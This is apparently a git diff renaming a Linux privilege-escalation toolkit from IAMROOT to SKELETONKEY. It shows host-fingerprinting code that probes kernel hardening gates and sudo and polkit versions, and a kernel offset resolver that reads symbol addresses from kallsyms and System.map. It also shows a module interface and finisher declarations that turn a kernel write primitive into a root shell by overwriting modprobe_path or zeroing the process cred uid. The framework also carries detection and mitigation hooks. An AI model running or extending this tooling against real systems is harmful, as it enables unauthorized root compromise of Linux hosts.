* 5. Wait for sentinel file, exec'd the setuid-bash → root shell
*
* Returns IAMROOT_EXPLOIT_OK if we got a root shell back (verified
* via geteuid() == 0), IAMROOT_EXPLOIT_FAIL otherwise. */
int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
iamroot_arb_write_fn arb_write,
* Returns SKELETONKEY_EXPLOIT_OK if we got a root shell back (verified
* via geteuid() == 0), SKELETONKEY_EXPLOIT_FAIL otherwise. */
int skeletonkey_finisher_modprobe_path(const struct skeletonkey_kernel_offsets *off,
skeletonkey_arb_write_fn arb_write,
void *arb_ctx,
bool spawn_shell);
@@ -67,14 +67,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
* 1. Walk task linked list from init_task to find self by pid
* (this requires arb-READ too — not supplied here; B-pattern
* modules need to provide their own variant)
* For now this is a STUB returning IAMROOT_EXPLOIT_FAIL with a
* For now this is a STUB returning SKELETONKEY_EXPLOIT_FAIL with a
* helpful error. */
int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
iamroot_arb_write_fn arb_write,
int skeletonkey_finisher_cred_uid_zero(const struct skeletonkey_kernel_offsets *off,
skeletonkey_arb_write_fn arb_write,
void *arb_ctx,
bool spawn_shell);
/* Diagnostic: tell the operator how to populate offsets manually. */
void iamroot_finisher_print_offset_help(const char *module_name);
void skeletonkey_finisher_print_offset_help(const char *module_name);
#endif /* IAMROOT_FINISHER_H */
#endif /* SKELETONKEY_FINISHER_H */
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@@ -0,0 +1,345 @@
/*
* SKELETONKEY — host fingerprint implementation
*
* Lives behind a one-shot lazy-init: skeletonkey_host_get() probes on
* first call, stores into a file-static, and returns the same pointer
* forever after. Single-threaded (skeletonkey is single-threaded), so
* no synchronisation needed.
*/
#include "host.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/utsname.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <pwd.h>
#ifdef __linux__
#include <sched.h>
#include <sys/wait.h>
#endif
static struct skeletonkey_host g_host;
static bool g_host_ready = false;
/* ── small parser helpers ─────────────────────────────────────────── */
/* Copy the value of a `KEY=VAL` line (stripping leading quotes and
* trailing quote / newline) into `dst`. Caller passes the start of the
* value (after `=`). Cap is the size of dst including NUL. */
static void parse_os_release_value(const char *s, char *dst, size_t cap)
{
const char *p = s;
if (*p == '"' || *p == '\'') p++;
size_t L = strcspn(p, "\"'\n");
if (L >= cap) L = cap - 1;
memcpy(dst, p, L);
dst[L] = '\0';
}
static bool path_exists(const char *p)
{
struct stat st;
return stat(p, &st) == 0;
}
#ifdef __linux__
/* Sysctl/sys-fs readers — Linux-only consumers (populate_caps). */
static bool read_int_file(const char *path, int *out)
{
FILE *f = fopen(path, "r");
if (!f) return false;
int v;
int n = fscanf(f, "%d", &v);
fclose(f);
if (n != 1) return false;
*out = v;
return true;
}
static bool read_first_line(const char *path, char *dst, size_t cap)
{
FILE *f = fopen(path, "r");
if (!f) return false;
if (!fgets(dst, (int)cap, f)) { fclose(f); return false; }
fclose(f);
size_t n = strlen(dst);
while (n > 0 && (dst[n-1] == '\n' || dst[n-1] == '\r')) dst[--n] = '\0';
return true;
}
#endif
/* ── populators ───────────────────────────────────────────────────── */
static void populate_kernel(struct skeletonkey_host *h)
{
struct utsname u;
if (uname(&u) == 0) {
/* utsname.machine/nodename can be up to 65 bytes on glibc; the
* %.*s precision spec tells gcc the snprintf is bounded so it
* does not warn about possible truncation (we WANT truncation;
* the snprintf already caps). */
snprintf(h->arch, sizeof h->arch,
"%.*s", (int)sizeof(h->arch) - 1, u.machine);
snprintf(h->nodename, sizeof h->nodename,
"%.*s", (int)sizeof(h->nodename) - 1, u.nodename);
}
/* kernel_version_current owns the static release-string buffer
* and the parser — reuse it to keep one source of truth. */
kernel_version_current(&h->kernel);
}
static void populate_distro(struct skeletonkey_host *h)
{
snprintf(h->distro_id, sizeof h->distro_id, "?");
snprintf(h->distro_version_id, sizeof h->distro_version_id, "?");
snprintf(h->distro_pretty, sizeof h->distro_pretty, "?");
FILE *f = fopen("/etc/os-release", "r");
if (!f) return;
char line[256];
while (fgets(line, sizeof line, f)) {
if (strncmp(line, "ID=", 3) == 0)
parse_os_release_value(line + 3,
h->distro_id, sizeof h->distro_id);
else if (strncmp(line, "VERSION_ID=", 11) == 0)
parse_os_release_value(line + 11,
h->distro_version_id, sizeof h->distro_version_id);
else if (strncmp(line, "PRETTY_NAME=", 12) == 0)
parse_os_release_value(line + 12,
h->distro_pretty, sizeof h->distro_pretty);
}
fclose(f);
}
static void populate_user(struct skeletonkey_host *h)
{
h->euid = geteuid();
h->egid = getegid();
h->is_root = (h->euid == 0);
h->is_ssh_session = (getenv("SSH_CONNECTION") != NULL);
h->username[0] = '\0';
struct passwd *pw = getpwuid(h->euid);
if (pw && pw->pw_name)
snprintf(h->username, sizeof h->username, "%s", pw->pw_name);
/* Default: real_uid == euid (no userns). Try /proc/self/uid_map to
* discover the outer uid if we're inside a user namespace. Format
*
* "0 0 4294967295" → init ns, outer == 0
* "0 1000 1" → userns mapped, outer == 1000
*
* Only trust outer != 0 and != -1 as the bypass-userns case. */
h->real_uid = h->euid;
int fd = open("/proc/self/uid_map", O_RDONLY);
if (fd >= 0) {
char buf[256];
ssize_t n = read(fd, buf, sizeof buf - 1);
close(fd);
if (n > 0) {
buf[n] = '\0';
int inner = -1, outer = -1, count = 0;
if (sscanf(buf, "%d %d %d", &inner, &outer, &count) == 3 &&
inner == 0 && outer > 0)
h->real_uid = (uid_t)outer;
}
}
}
static void populate_platform_family(struct skeletonkey_host *h)
{
#ifdef __linux__
h->is_linux = true;
#else
h->is_linux = false;
#endif
h->is_debian_family = path_exists("/etc/debian_version");
h->is_rpm_family = path_exists("/etc/redhat-release") ||
path_exists("/etc/fedora-release") ||
path_exists("/etc/rocky-release") ||
path_exists("/etc/almalinux-release");
h->is_arch_family = path_exists("/etc/arch-release");
h->is_suse_family = path_exists("/etc/SuSE-release") ||
path_exists("/etc/SUSE-brand");
}
#ifdef __linux__
/* fork+unshare(CLONE_NEWUSER) probe. Forks once; ~1ms cost. */
static bool userns_probe(void)
{
pid_t pid = fork();
if (pid < 0) return false;
if (pid == 0) {
_exit(unshare(CLONE_NEWUSER) == 0 ? 0 : 1);
}
int st;
if (waitpid(pid, &st, 0) < 0) return false;
return WIFEXITED(st) && WEXITSTATUS(st) == 0;
}
#endif
static void populate_caps(struct skeletonkey_host *h)
{
h->unprivileged_userns_allowed = false;
h->apparmor_restrict_userns = false;
h->unprivileged_bpf_disabled = false;
h->kpti_enabled = false;
h->kernel_lockdown_active = false;
h->selinux_enforcing = false;
h->yama_ptrace_restricted = false;
#ifdef __linux__
h->unprivileged_userns_allowed = userns_probe();
int v = 0;
if (read_int_file("/proc/sys/kernel/apparmor_restrict_unprivileged_userns", &v))
h->apparmor_restrict_userns = (v != 0);
if (read_int_file("/proc/sys/kernel/unprivileged_bpf_disabled", &v))
h->unprivileged_bpf_disabled = (v != 0);
if (read_int_file("/sys/fs/selinux/enforce", &v))
h->selinux_enforcing = (v != 0);
if (read_int_file("/proc/sys/kernel/yama/ptrace_scope", &v))
h->yama_ptrace_restricted = (v > 0);
char buf[256];
if (read_first_line("/sys/devices/system/cpu/vulnerabilities/meltdown", buf, sizeof buf))
h->kpti_enabled = (strstr(buf, "Mitigation: PTI") != NULL);
/* /sys/kernel/security/lockdown format: "[none] integrity confidentiality"
* — whichever level is bracketed is the active one. */
if (read_first_line("/sys/kernel/security/lockdown", buf, sizeof buf))
h->kernel_lockdown_active = (strstr(buf, "[none]") == NULL);
#endif
}
static void populate_services(struct skeletonkey_host *h)
{
h->has_systemd = path_exists("/run/systemd/system");
h->has_dbus_system = path_exists("/run/dbus/system_bus_socket");
}
/* Best-effort: run `cmd`, capture first stdout line, strip newline,
* copy up to (cap - 1) bytes into dst. Returns true iff popen
* succeeded, the command exited 0, and we got at least one line.
* Used for sudo/pkexec/packagekitd version parsing at startup. */
static bool capture_first_line(const char *cmd, char *dst, size_t cap)
{
dst[0] = '\0';
FILE *p = popen(cmd, "r");
if (!p) return false;
char buf[256];
bool got = (fgets(buf, sizeof buf, p) != NULL);
int rc = pclose(p);
if (!got || rc != 0) return false;
size_t L = strlen(buf);
while (L > 0 && (buf[L-1] == '\n' || buf[L-1] == '\r'))
buf[--L] = '\0';
if (L >= cap) L = cap - 1;
memcpy(dst, buf, L);
dst[L] = '\0';
return true;
}
/* Extract the version-string token from a line of the form
* "<prefix>: <version> [rest]" or "<prefix> <version> [rest]". The
* version token is everything from the first non-space after
* `prefix` up to the next whitespace. Empty result when prefix not
* found. */
static void extract_version_after_prefix(const char *line,
const char *prefix,
char *dst, size_t cap)
{
dst[0] = '\0';
const char *p = strstr(line, prefix);
if (!p) return;
p += strlen(prefix);
while (*p == ' ' || *p == ':' || *p == '\t') p++;
size_t i = 0;
while (*p && *p != ' ' && *p != '\t' && i + 1 < cap)
dst[i++] = *p++;
dst[i] = '\0';
}
static void populate_userspace_versions(struct skeletonkey_host *h)
{
h->sudo_version[0] = '\0';
h->polkit_version[0] = '\0';
char line[256];
if (capture_first_line("sudo -V 2>/dev/null", line, sizeof line))
extract_version_after_prefix(line, "Sudo version",
h->sudo_version, sizeof h->sudo_version);
if (capture_first_line("pkexec --version 2>/dev/null", line, sizeof line))
extract_version_after_prefix(line, "pkexec version",
h->polkit_version, sizeof h->polkit_version);
}
/* ── public entrypoints ───────────────────────────────────────────── */
const struct skeletonkey_host *skeletonkey_host_get(void)
{
if (g_host_ready) return &g_host;
memset(&g_host, 0, sizeof g_host);
populate_kernel(&g_host);
populate_distro(&g_host);
populate_user(&g_host);
populate_platform_family(&g_host);
populate_caps(&g_host);
populate_services(&g_host);
populate_userspace_versions(&g_host);
g_host.probe_source = "skeletonkey core/host.c";
g_host_ready = true;
return &g_host;
}
bool skeletonkey_host_kernel_at_least(const struct skeletonkey_host *h,
int major, int minor, int patch)
{
if (!h || h->kernel.major == 0)
return false;
if (h->kernel.major != major) return h->kernel.major > major;
if (h->kernel.minor != minor) return h->kernel.minor > minor;
return h->kernel.patch >= patch;
}
bool skeletonkey_host_kernel_in_range(const struct skeletonkey_host *h,
int lo_M, int lo_m, int lo_p,
int hi_M, int hi_m, int hi_p)
{
return skeletonkey_host_kernel_at_least(h, lo_M, lo_m, lo_p) &&
!skeletonkey_host_kernel_at_least(h, hi_M, hi_m, hi_p);
}
void skeletonkey_host_print_banner(const struct skeletonkey_host *h, bool json)
{
if (json || h == NULL) return;
fprintf(stderr, "[*] host: %s%s%s kernel=%s arch=%s distro=%s/%s\n",
h->nodename[0] ? h->nodename : "?",
h->is_root ? " (ROOT)" : "",
h->is_ssh_session ? " (SSH)" : "",
h->kernel.release ? h->kernel.release : "?",
h->arch[0] ? h->arch : "?",
h->distro_id[0] ? h->distro_id : "?",
h->distro_version_id[0] ? h->distro_version_id : "?");
fprintf(stderr, "[*] gates: userns=%s aa_restrict=%s bpf_disabled=%s "
"kpti=%s lockdown=%s selinux=%s yama_ptrace=%s\n",
h->unprivileged_userns_allowed ? "yes" : "no",
h->apparmor_restrict_userns ? "on" : "off",
h->unprivileged_bpf_disabled ? "yes" : "no",
h->kpti_enabled ? "on" : "off",
h->kernel_lockdown_active ? "on" : "off",
h->selinux_enforcing ? "on" : "off",
h->yama_ptrace_restricted ? "yes" : "no");
if (h->sudo_version[0] || h->polkit_version[0])
fprintf(stderr, "[*] userspace: sudo=%s polkit=%s\n",
h->sudo_version[0] ? h->sudo_version : "-",
h->polkit_version[0] ? h->polkit_version : "-");
}
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/*
* SKELETONKEY — host fingerprint
*
* Populated once at startup, before any module's detect() runs. Every
* module receives a stable pointer via skeletonkey_ctx.host and can
* consult it without re-parsing /proc, /etc/os-release, uname(2), or
* forking another userns probe.
*
* The struct is deliberately POD (no heap pointers, fixed-size
* arrays) so lifetime reasoning is trivial. A single static instance
* lives in core/host.c; skeletonkey_host_get() returns the same
* pointer on every call. The first call probes; subsequent calls
* are O(1) lookups.
*
* Fields that don't apply on a given platform (e.g. AppArmor sysctls
* on a non-Linux dev build, KPTI on aarch64) stay at their false /
* "?" defaults. Probing is best-effort: a missing sysctl never fails
* the call, just leaves the corresponding bool false.
*/
#ifndef SKELETONKEY_HOST_H
#define SKELETONKEY_HOST_H
#include "kernel_range.h"
#include <stdbool.h>
#include <stddef.h>
#include <sys/types.h>
struct skeletonkey_host {
/* ── identity ─────────────────────────────────────────────── */
struct kernel_version kernel; /* uname.release parsed */
char arch[32]; /* uname.machine ("x86_64", "aarch64") */
char nodename[64]; /* uname.nodename (for log lines) */
char distro_id[64]; /* /etc/os-release ID ("ubuntu", "debian", "fedora", "?") */
char distro_version_id[64]; /* /etc/os-release VERSION_ID ("24.04", "13", "?") */
char distro_pretty[128]; /* /etc/os-release PRETTY_NAME for log lines */
/* ── process state ─────────────────────────────────────────── */
uid_t euid; /* geteuid() */
uid_t real_uid; /* outer uid (defeats userns illusion via /proc/self/uid_map) */
gid_t egid; /* getegid() */
char username[64]; /* getpwuid(euid)->pw_name or "" */
bool is_root; /* euid == 0 */
bool is_ssh_session; /* SSH_CONNECTION env var set */
/* ── platform family ───────────────────────────────────────── */
bool is_linux; /* compiled / running on Linux */
bool is_debian_family; /* /etc/debian_version exists */
bool is_rpm_family; /* redhat / fedora / rocky / almalinux release file */
bool is_arch_family; /* /etc/arch-release */
bool is_suse_family; /* /etc/SuSE-release or /etc/SUSE-brand */
/* ── capability / gate flags (Linux) ──────────────────────── */
bool unprivileged_userns_allowed; /* fork+unshare(CLONE_NEWUSER) succeeded */
bool apparmor_restrict_userns; /* sysctl: 1 = AA blocks unpriv userns */
bool unprivileged_bpf_disabled; /* /proc/sys/kernel/unprivileged_bpf_disabled = 1 */
bool kpti_enabled; /* /sys/.../meltdown contains "Mitigation: PTI" */
bool kernel_lockdown_active; /* /sys/kernel/security/lockdown != [none] */
bool selinux_enforcing; /* /sys/fs/selinux/enforce = 1 */
bool yama_ptrace_restricted; /* /proc/sys/kernel/yama/ptrace_scope > 0 */
/* ── system services ──────────────────────────────────────── */
bool has_systemd; /* /run/systemd/system exists */
bool has_dbus_system; /* /run/dbus/system_bus_socket exists */
/* ── userspace component versions ─────────────────────────
* Parsed once at startup via popen() of the relevant binary's
* --version output. Empty string ("") means "tool not installed
* or version parse failed" — modules should treat that as
* PRECOND_FAIL (no exploit target). The exact format mirrors
* what the tool prints (`Sudo version 1.9.5p2`, `pkexec version
* 0.105`, …); modules do their own range parsing. */
char sudo_version[64]; /* "1.9.13p1" or "" */
char polkit_version[64]; /* "0.105" or "126" or "" */
/* Informational: the SKELETONKEY component that populated this
* snapshot (for log/JSON output). */
const char *probe_source;
};
/* Get the host fingerprint. Returns a stable, non-null pointer that
* lives for the process lifetime. Probes happen lazily on the first
* call (~50ms; dominated by the userns fork-probe), are cached, and
* subsequent calls are free.
*
* Probing is best-effort: missing files / unsupported sysctls leave
* the corresponding bool false. The function does not fail. */
const struct skeletonkey_host *skeletonkey_host_get(void);
/* Print a two-line "host fingerprint" banner to stderr suitable for
* --auto / --scan verbose output. Silent on JSON mode. */
void skeletonkey_host_print_banner(const struct skeletonkey_host *h, bool json);
/* True iff h->kernel >= the (major, minor, patch) provided. Returns
* false if h is NULL or its kernel version was never populated (major
* == 0). Replaces the manual `v->major < X` / `(v->major == X &&
* v->minor < Y)` patterns scattered across detect()s — cleaner reads
* and one place to get the comparison right.
*
* Examples:
* if (!host_kernel_at_least(h, 7, 0, 0)) // kernel predates 7.0
* return SKELETONKEY_OK;
* if ( host_kernel_at_least(h, 6, 8, 0)) // kernel post-fix
* return SKELETONKEY_OK;
*/
bool skeletonkey_host_kernel_at_least(const struct skeletonkey_host *h,
int major, int minor, int patch);
/* True iff h->kernel is in [lo, hi). Useful for "vulnerable range"
* gates where the simple `kernel_range_is_patched` backport model
* doesn't apply — e.g. a feature added in X.Y and removed/superseded
* in W.Z, or a per-module "vulnerable only on these specific kernel
* lines" check.
*
* Equivalent to:
* host_kernel_at_least(h, lo...) && !host_kernel_at_least(h, hi...)
*
* For "predates the bug" alone use host_kernel_at_least directly; the
* `in_range` form is for the bounded interval case.
*
* Example:
* if (host_kernel_in_range(h, 5, 8, 0, 5, 17, 0))
* // kernel 5.8 ≤ K < 5.17 — vulnerable window per the mainline
* // introduction/fix dates (ignoring stable backports)
*/
bool skeletonkey_host_kernel_in_range(const struct skeletonkey_host *h,
int lo_major, int lo_minor, int lo_patch,
int hi_major, int hi_minor, int hi_patch);
#endif /* SKELETONKEY_HOST_H */
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/*
* IAMROOT — kernel_range implementation
* SKELETONKEY — kernel_range implementation
*/
#include "kernel_range.h"
@@ -19,7 +19,7 @@ bool kernel_version_current(struct kernel_version *out)
if (uname(&u) < 0) return false;
/* Stash release string for callers that want to print it. We hold
* a single static buffer; not threadsafe but iamroot is single-
* a single static buffer; not threadsafe but skeletonkey is single-
* threaded today. */
snprintf(g_release_buf, sizeof(g_release_buf), "%s", u.release);
out->release = g_release_buf;
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@@ -1,5 +1,5 @@
/*
* IAMROOT — kernel version range matching
* SKELETONKEY — kernel version range matching
*
* Every CVE module needs to answer "is the host kernel in the affected
* range?". This file centralizes that.
@@ -17,8 +17,8 @@
* patch version is at or above the threshold.
*/
#ifndef IAMROOT_KERNEL_RANGE_H
#define IAMROOT_KERNEL_RANGE_H
#ifndef SKELETONKEY_KERNEL_RANGE_H
#define SKELETONKEY_KERNEL_RANGE_H
#include <stdbool.h>
#include <stddef.h>
@@ -56,4 +56,4 @@ bool kernel_version_current(struct kernel_version *out);
bool kernel_range_is_patched(const struct kernel_range *r,
const struct kernel_version *v);
#endif /* IAMROOT_KERNEL_RANGE_H */
#endif /* SKELETONKEY_KERNEL_RANGE_H */
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@@ -1,59 +1,69 @@
/*
* IAMROOT — core module interface
* SKELETONKEY — core module interface
*
* Every CVE module exports one or more `struct iamroot_module` entries
* via a registry function. The top-level dispatcher (iamroot.c) walks
* Every CVE module exports one or more `struct skeletonkey_module` entries
* via a registry function. The top-level dispatcher (skeletonkey.c) walks
* the global registry to implement --scan, --exploit, --mitigate, etc.
*
* This is intentionally a small interface. Modules carry the
* complexity; the dispatcher just routes.
*/
#ifndef IAMROOT_MODULE_H
#define IAMROOT_MODULE_H
#ifndef SKELETONKEY_MODULE_H
#define SKELETONKEY_MODULE_H
#include <stddef.h>
#include <stdbool.h>
/* Standard result codes returned by detect()/exploit()/mitigate().
*
* These map to top-level exit codes when iamroot is invoked with a
* These map to top-level exit codes when skeletonkey is invoked with a
* single-module operation:
*
* IAMROOT_OK exit 0 detect: not vulnerable / clean
* IAMROOT_VULNERABLE exit 2 detect: confirmed vulnerable
* IAMROOT_PRECOND_FAIL exit 4 detect: preconditions missing
* IAMROOT_TEST_ERROR exit 1 detect/exploit: error
* IAMROOT_EXPLOIT_OK exit 5 exploit: succeeded (root achieved)
* IAMROOT_EXPLOIT_FAIL exit 3 exploit: attempted but did not land
* SKELETONKEY_OK exit 0 detect: not vulnerable / clean
* SKELETONKEY_VULNERABLE exit 2 detect: confirmed vulnerable
* SKELETONKEY_PRECOND_FAIL exit 4 detect: preconditions missing
* SKELETONKEY_TEST_ERROR exit 1 detect/exploit: error
* SKELETONKEY_EXPLOIT_OK exit 5 exploit: succeeded (root achieved)
* SKELETONKEY_EXPLOIT_FAIL exit 3 exploit: attempted but did not land
*
* Implementation note: copy_fail_family's df_result_t shares these
* numeric values intentionally so the family code can return its
* existing constants without translation.
*/
typedef enum {
IAMROOT_OK = 0,
IAMROOT_TEST_ERROR = 1,
IAMROOT_VULNERABLE = 2,
IAMROOT_EXPLOIT_FAIL = 3,
IAMROOT_PRECOND_FAIL = 4,
IAMROOT_EXPLOIT_OK = 5,
} iamroot_result_t;
SKELETONKEY_OK = 0,
SKELETONKEY_TEST_ERROR = 1,
SKELETONKEY_VULNERABLE = 2,
SKELETONKEY_EXPLOIT_FAIL = 3,
SKELETONKEY_PRECOND_FAIL = 4,
SKELETONKEY_EXPLOIT_OK = 5,
} skeletonkey_result_t;
/* Per-invocation context passed to module callbacks. Lightweight for
* now; will grow as modules need shared state (host fingerprint,
* leaked kbase, etc.). */
struct iamroot_ctx {
/* Per-invocation context passed to module callbacks. The host
* fingerprint (kernel / distro / capability gates / service presence)
* is populated once at startup by core/host.c and handed to every
* module callback here — see core/host.h. */
struct skeletonkey_host; /* forward decl; full def in core/host.h */
struct skeletonkey_ctx {
bool no_color; /* --no-color */
bool json; /* --json (machine-readable output) */
bool active_probe; /* --active (do invasive probes in detect) */
bool no_shell; /* --no-shell (exploit prep but don't pop) */
bool authorized; /* user typed --i-know on exploit */
bool full_chain; /* --full-chain (attempt root-pop after primitive) */
bool dry_run; /* --dry-run (preview only; never call exploit/mitigate/cleanup) */
/* Host fingerprint — see core/host.h. Stable pointer, populated
* once by main() before any module callback runs. Modules that
* want to consult it #include "../../core/host.h". May be NULL
* only in degenerate test contexts; main() always sets it. */
const struct skeletonkey_host *host;
};
struct iamroot_module {
/* Short id used on the command line: `iamroot --exploit copy_fail`. */
struct skeletonkey_module {
/* Short id used on the command line: `skeletonkey --exploit copy_fail`. */
const char *name;
/* CVE identifier (or "VARIANT" if no CVE assigned). */
@@ -71,20 +81,20 @@ struct iamroot_module {
const char *kernel_range;
/* Probe the host. Should be side-effect-free unless ctx->active_probe
* is true. Return IAMROOT_VULNERABLE if confirmed,
* IAMROOT_PRECOND_FAIL if not applicable here, IAMROOT_OK if patched
* or otherwise immune, IAMROOT_TEST_ERROR on probe error. */
iamroot_result_t (*detect)(const struct iamroot_ctx *ctx);
* is true. Return SKELETONKEY_VULNERABLE if confirmed,
* SKELETONKEY_PRECOND_FAIL if not applicable here, SKELETONKEY_OK if patched
* or otherwise immune, SKELETONKEY_TEST_ERROR on probe error. */
skeletonkey_result_t (*detect)(const struct skeletonkey_ctx *ctx);
/* Run the exploit. Caller has already passed the --i-know gate. */
iamroot_result_t (*exploit)(const struct iamroot_ctx *ctx);
skeletonkey_result_t (*exploit)(const struct skeletonkey_ctx *ctx);
/* Apply a temporary mitigation. NULL if none offered. */
iamroot_result_t (*mitigate)(const struct iamroot_ctx *ctx);
skeletonkey_result_t (*mitigate)(const struct skeletonkey_ctx *ctx);
/* Undo --exploit (e.g. evict from page cache) or --mitigate side
* effects. NULL if no cleanup applies. */
iamroot_result_t (*cleanup)(const struct iamroot_ctx *ctx);
skeletonkey_result_t (*cleanup)(const struct skeletonkey_ctx *ctx);
/* Detection rule corpus — embedded so the binary is self-
* contained. Each may be NULL if this module ships no rules for
@@ -96,4 +106,4 @@ struct iamroot_module {
const char *detect_falco; /* falco rules content */
};
#endif /* IAMROOT_MODULE_H */
#endif /* SKELETONKEY_MODULE_H */
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/*
* IAMROOT — kernel offset resolution
* SKELETONKEY — kernel offset resolution
*
* See offsets.h for the four-source chain (env → kallsyms → System.map
* → embedded table). This implementation is deliberately small and
@@ -69,7 +69,7 @@ static const struct table_entry kernel_table[] = {
#define DEFAULT_CRED_EFF_OFFSET 0x740
#define DEFAULT_CRED_UID_OFFSET 0x4
const char *iamroot_offset_source_name(enum iamroot_offset_source src)
const char *skeletonkey_offset_source_name(enum skeletonkey_offset_source src)
{
switch (src) {
case OFFSETS_NONE: return "none";
@@ -117,42 +117,42 @@ static void read_distro(char *out, size_t sz)
/* ------------------------------------------------------------------
* Source 1: environment variables
* ------------------------------------------------------------------ */
static void apply_env(struct iamroot_kernel_offsets *o)
static void apply_env(struct skeletonkey_kernel_offsets *o)
{
const char *v;
uintptr_t a;
if ((v = getenv("IAMROOT_KBASE")) && parse_addr(v, &a)) {
if ((v = getenv("SKELETONKEY_KBASE")) && parse_addr(v, &a)) {
if (!o->kbase) o->kbase = a;
}
if ((v = getenv("IAMROOT_MODPROBE_PATH")) && parse_addr(v, &a)) {
if ((v = getenv("SKELETONKEY_MODPROBE_PATH")) && parse_addr(v, &a)) {
if (!o->modprobe_path) {
o->modprobe_path = a;
o->source_modprobe = OFFSETS_FROM_ENV;
}
}
if ((v = getenv("IAMROOT_POWEROFF_CMD")) && parse_addr(v, &a)) {
if ((v = getenv("SKELETONKEY_POWEROFF_CMD")) && parse_addr(v, &a)) {
if (!o->poweroff_cmd) o->poweroff_cmd = a;
}
if ((v = getenv("IAMROOT_INIT_TASK")) && parse_addr(v, &a)) {
if ((v = getenv("SKELETONKEY_INIT_TASK")) && parse_addr(v, &a)) {
if (!o->init_task) {
o->init_task = a;
o->source_init_task = OFFSETS_FROM_ENV;
}
}
if ((v = getenv("IAMROOT_INIT_CRED")) && parse_addr(v, &a)) {
if ((v = getenv("SKELETONKEY_INIT_CRED")) && parse_addr(v, &a)) {
if (!o->init_cred) o->init_cred = a;
}
if ((v = getenv("IAMROOT_CRED_OFFSET_REAL")) && parse_addr(v, &a)) {
if ((v = getenv("SKELETONKEY_CRED_OFFSET_REAL")) && parse_addr(v, &a)) {
if (!o->cred_offset_real) {
o->cred_offset_real = (uint32_t)a;
o->source_cred = OFFSETS_FROM_ENV;
}
}
if ((v = getenv("IAMROOT_CRED_OFFSET_EFF")) && parse_addr(v, &a)) {
if ((v = getenv("SKELETONKEY_CRED_OFFSET_EFF")) && parse_addr(v, &a)) {
if (!o->cred_offset_eff) o->cred_offset_eff = (uint32_t)a;
}
if ((v = getenv("IAMROOT_UID_OFFSET")) && parse_addr(v, &a)) {
if ((v = getenv("SKELETONKEY_UID_OFFSET")) && parse_addr(v, &a)) {
if (!o->cred_uid_offset) o->cred_uid_offset = (uint32_t)a;
}
}
@@ -162,8 +162,8 @@ static void apply_env(struct iamroot_kernel_offsets *o)
* the same "ADDR TYPE NAME" format).
* ------------------------------------------------------------------ */
static int parse_symfile(const char *path,
struct iamroot_kernel_offsets *o,
enum iamroot_offset_source tag)
struct skeletonkey_kernel_offsets *o,
enum skeletonkey_offset_source tag)
{
FILE *f = fopen(path, "r");
if (!f) return 0;
@@ -225,7 +225,7 @@ static int parse_symfile(const char *path,
* Source 4: embedded table — relative offsets, applied on top of kbase
* if we already have one.
* ------------------------------------------------------------------ */
static void apply_table(struct iamroot_kernel_offsets *o)
static void apply_table(struct skeletonkey_kernel_offsets *o)
{
if (!o->kernel_release[0]) return;
@@ -268,7 +268,7 @@ static void apply_table(struct iamroot_kernel_offsets *o)
/* ------------------------------------------------------------------
* Top-level resolve()
* ------------------------------------------------------------------ */
int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out)
int skeletonkey_offsets_resolve(struct skeletonkey_kernel_offsets *out)
{
memset(out, 0, sizeof *out);
@@ -313,7 +313,7 @@ int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out)
return critical;
}
void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
void skeletonkey_offsets_apply_kbase_leak(struct skeletonkey_kernel_offsets *off,
uintptr_t leaked_kbase)
{
if (!leaked_kbase) return;
@@ -322,18 +322,18 @@ void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
apply_table(off);
}
bool iamroot_offsets_have_modprobe_path(const struct iamroot_kernel_offsets *off)
bool skeletonkey_offsets_have_modprobe_path(const struct skeletonkey_kernel_offsets *off)
{
return off && off->modprobe_path != 0;
}
bool iamroot_offsets_have_cred(const struct iamroot_kernel_offsets *off)
bool skeletonkey_offsets_have_cred(const struct skeletonkey_kernel_offsets *off)
{
return off && off->init_task != 0 && off->cred_offset_real != 0
&& off->cred_uid_offset != 0;
}
void iamroot_offsets_print(const struct iamroot_kernel_offsets *off)
void skeletonkey_offsets_print(const struct skeletonkey_kernel_offsets *off)
{
fprintf(stderr, "[i] offsets: release=%s distro=%s\n",
off->kernel_release[0] ? off->kernel_release : "?",
@@ -341,10 +341,10 @@ void iamroot_offsets_print(const struct iamroot_kernel_offsets *off)
fprintf(stderr, "[i] offsets: kbase=0x%lx modprobe_path=0x%lx (%s)\n",
(unsigned long)off->kbase,
(unsigned long)off->modprobe_path,
iamroot_offset_source_name(off->source_modprobe));
skeletonkey_offset_source_name(off->source_modprobe));
fprintf(stderr, "[i] offsets: init_task=0x%lx (%s) cred_real=0x%x cred_eff=0x%x uid=0x%x (%s)\n",
(unsigned long)off->init_task,
iamroot_offset_source_name(off->source_init_task),
skeletonkey_offset_source_name(off->source_init_task),
off->cred_offset_real, off->cred_offset_eff, off->cred_uid_offset,
iamroot_offset_source_name(off->source_cred));
skeletonkey_offset_source_name(off->source_cred));
}
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@@ -1,5 +1,5 @@
/*
* IAMROOT — kernel offset resolution
* SKELETONKEY — kernel offset resolution
*
* The 🟡 PRIMITIVE modules each have a trigger that lands a primitive
* (heap-OOB write, UAF, etc.). Converting that to root requires
@@ -10,7 +10,7 @@
* Those addresses vary per kernel build. This file resolves them at
* runtime via a four-source chain:
*
* 1. env vars (IAMROOT_MODPROBE_PATH, IAMROOT_INIT_TASK, ...)
* 1. env vars (SKELETONKEY_MODPROBE_PATH, SKELETONKEY_INIT_TASK, ...)
* 2. /proc/kallsyms (only useful when kptr_restrict=0 or already root)
* 3. /boot/System.map-$(uname -r) (world-readable on some distros)
* 4. Embedded table keyed by `uname -r` glob (entries are
@@ -22,14 +22,14 @@
* pointing the operator at the manual workflow.
*/
#ifndef IAMROOT_OFFSETS_H
#define IAMROOT_OFFSETS_H
#ifndef SKELETONKEY_OFFSETS_H
#define SKELETONKEY_OFFSETS_H
#include <stdint.h>
#include <stdbool.h>
#include <stddef.h>
enum iamroot_offset_source {
enum skeletonkey_offset_source {
OFFSETS_NONE = 0,
OFFSETS_FROM_ENV = 1,
OFFSETS_FROM_KALLSYMS = 2,
@@ -37,13 +37,13 @@ enum iamroot_offset_source {
OFFSETS_FROM_TABLE = 4,
};
